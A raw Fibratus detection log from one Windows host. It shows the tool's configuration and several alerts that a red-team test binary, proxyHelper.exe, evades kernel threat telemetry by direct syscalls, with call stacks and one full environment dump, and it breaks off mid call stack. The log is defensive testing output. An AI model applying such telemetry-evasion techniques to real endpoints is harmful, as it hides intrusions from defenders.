+time=2025-11-24T21:09:19+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T21:09:19+01:00 level=info msg=bootstrapping with pid 16864. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T21:09:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ use-template=>true enabled=>false port=>25 content-type=>text/html to=>[]] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-net=>true enable-audit-api=>true flush-interval=>1s buffer-size=>512 enable-image=>true min-buffers=>16 max-buffers=>36 enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true enable-mem=>false enable-handle=>false enable-fileio=>true enable-thread=>true stack-enrichment=>true enable-vamap=>true enable-threadpool=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-size=>100 log-stdout=>true formatter=>text max-backups=>15 level=>info] + output ......................... [ http=>[ endpoints=>[] tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json method=>POST enabled=>false timeout=>5s] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ flush-period=>1s healthcheck-timeout=>5s timeout=>5s trace-log=>false servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-interval=>10s index-name=>fibratus template-name=>fibratus gzip-compression=>false sniff=>false enabled=>false bulk-workers=>1] amqp=>[ enabled=>false exchange=>fibratus url=>amqp://localhost:5672 exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s passive=>false durable=>false routing-key=>fibratus delivery-mode=>transient vhost=>/] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-allocs=>false excluded-procs=>[] skip-registry=>false scan-timeout=>10s skip-files=>false excluded-files=>[] fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T21:09:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T21:09:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T21:09:25+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 3601513 + Pid: 22260 + Tid: 22772 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 21:09:25.0456904 +0100 CET + Params: callback➜ 7ff7ae811000, callback_module➜ C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe, context➜ 8b4037fb00, pool_id➜ 278cdf31a80, subprocess_tag➜ 0, task_id➜ 278cdf44f68 + Metadata: evasions: [direct_syscall] + + Pid: 22260 + Ppid: 16440 + Name: proxyHelper.exe + Cmdline: + Exe: C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff7ae811133 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7ff7ae811418 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T21:10:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T21:10:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T21:10:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T21:10:58+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T21:10:58+01:00 level=info msg=bootstrapping with pid 16580. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T21:10:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ content-type=>text/html enabled=>false to=>[] use-template=>true port=>25] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-image=>true enable-handle=>false enable-audit-api=>true enable-dns=>false min-buffers=>16 flush-interval=>1s enable-mem=>false enable-vamap=>true enable-net=>true buffer-size=>512 stack-enrichment=>true enable-threadpool=>true enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true enable-fileio=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-age=>0 log-stdout=>true max-backups=>15 level=>info formatter=>text] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ timeout=>5s endpoints=>[] enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json method=>POST] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] elasticsearch=>[ trace-log=>false sniff=>false healthcheck-timeout=>5s healthcheck-interval=>10s gzip-compression=>false healthcheck=>true bulk-workers=>1 servers=>[http://127.0.0.1:9200] enabled=>false template-name=>fibratus flush-period=>1s index-name=>fibratus timeout=>5s] amqp=>[ tls-insecure-skip-verify=>false exchange=>fibratus enabled=>false url=>amqp://localhost:5672 exchange-type=>topic delivery-mode=>transient passive=>false durable=>false timeout=>5s vhost=>/ routing-key=>fibratus]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-files=>false skip-mmaps=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s fastscan=>true enabled=>false skip-registry=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T21:10:58+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T21:11:00+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T21:11:03+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 3654732 + Pid: 8632 + Tid: 8124 + Type: SubmitThreadpoolWork + CPU: 5 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 21:11:02.5812483 +0100 CET + Params: callback➜ 7ff7ae811000, callback_module➜ C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe, context➜ 3da98ff9f0, pool_id➜ 1d407611a80, subprocess_tag➜ 0, task_id➜ 1d407624f68 + Metadata: evasions: [direct_syscall] + + Pid: 8632 + Ppid: 16440 + Name: proxyHelper.exe + Cmdline: + Exe: C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff7ae811133 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7ff7ae811418 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T21:12:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T21:12:30+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T21:12:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T22:58:45+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T22:58:45+01:00 level=info msg=bootstrapping with pid 9928. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T22:58:45+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true content-type=>text/html enabled=>false to=>[] port=>25] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true enable-mem=>true enable-vamap=>true enable-handle=>false enable-threadpool=>true enable-thread=>true enable-fileio=>true enable-image=>true min-buffers=>16 stack-enrichment=>true enable-audit-api=>true flush-interval=>1s max-buffers=>36 enable-dns=>false enable-net=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 log-stdout=>true max-backups=>15 formatter=>text max-size=>100] + output ......................... [ http=>[ enable-gzip=>false method=>POST endpoints=>[] serializer=>json timeout=>5s enabled=>false tls-insecure-skip-verify=>false] amqp=>[ durable=>false exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s enabled=>false delivery-mode=>transient passive=>false routing-key=>fibratus exchange=>fibratus url=>amqp://localhost:5672 vhost=>/] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty] elasticsearch=>[ sniff=>false gzip-compression=>false timeout=>5s healthcheck-interval=>10s trace-log=>false healthcheck-timeout=>5s healthcheck=>true template-name=>fibratus flush-period=>1s servers=>[http://127.0.0.1:9200] bulk-workers=>1 enabled=>false index-name=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-files=>false skip-registry=>false skip-mmaps=>false scan-timeout=>10s enabled=>false excluded-files=>[] fastscan=>true skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T22:58:54+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T22:58:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T23:11:01+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T23:11:02+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T23:11:02+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T23:11:37+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T23:11:37+01:00 level=info msg=bootstrapping with pid 17188. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T23:11:37+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] use-template=>true port=>25 enabled=>false content-type=>text/html] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-threadpool=>true enable-thread=>true enable-dns=>false enable-vamap=>true min-buffers=>16 flush-interval=>1s enable-net=>true enable-image=>true max-buffers=>36 enable-registry=>true enable-mem=>true enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-handle=>false buffer-size=>512 stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 log-stdout=>true max-backups=>15 level=>info formatter=>text] + output ......................... [ http=>[ serializer=>json endpoints=>[] timeout=>5s method=>POST tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false] elasticsearch=>[ timeout=>5s healthcheck-interval=>10s flush-period=>1s enabled=>false healthcheck-timeout=>5s template-name=>fibratus trace-log=>false gzip-compression=>false sniff=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck=>true bulk-workers=>1] amqp=>[ delivery-mode=>transient durable=>false timeout=>5s exchange=>fibratus enabled=>false routing-key=>fibratus exchange-type=>topic vhost=>/ tls-insecure-skip-verify=>false passive=>false url=>amqp://localhost:5672] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-registry=>false skip-mmaps=>false skip-allocs=>false excluded-procs=>[] skip-files=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-24T23:11:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T23:11:48+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T23:11:49+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 810722 + Pid: 16476 + Tid: 7516 + Type: SubmitThreadpoolWork + CPU: 0 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 23:11:48.8031448 +0100 CET + Params: callback➜ 7ff747821000, callback_module➜ C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe, context➜ 1000ffbe0, pool_id➜ 115cbfa1a80, subprocess_tag➜ 0, task_id➜ 115cbfb4408 + Metadata: evasions: [direct_syscall] + + Pid: 16476 + Ppid: 7460 + Name: proxyHelper.exe + Cmdline: + Exe: C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff747821133 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7ff747821418 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7ffdb930e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffdb98ec53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T23:16:50+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 893590 + Pid: 16476 + Tid: 16460 + Type: VirtualAlloc + CPU: 4 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 23:16:48.8105648 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 1001fa000, exe➜ C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe, name➜ proxyHelper.exe, page_type➜ PRIVATE, pid➜ 16476, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 16476 + Ppid: 7460 + Name: proxyHelper.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe + Cwd: C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:bb9229ac-4aa3-4bdf-9708-1dba1a06d945 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff803d0f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff803d0e74909 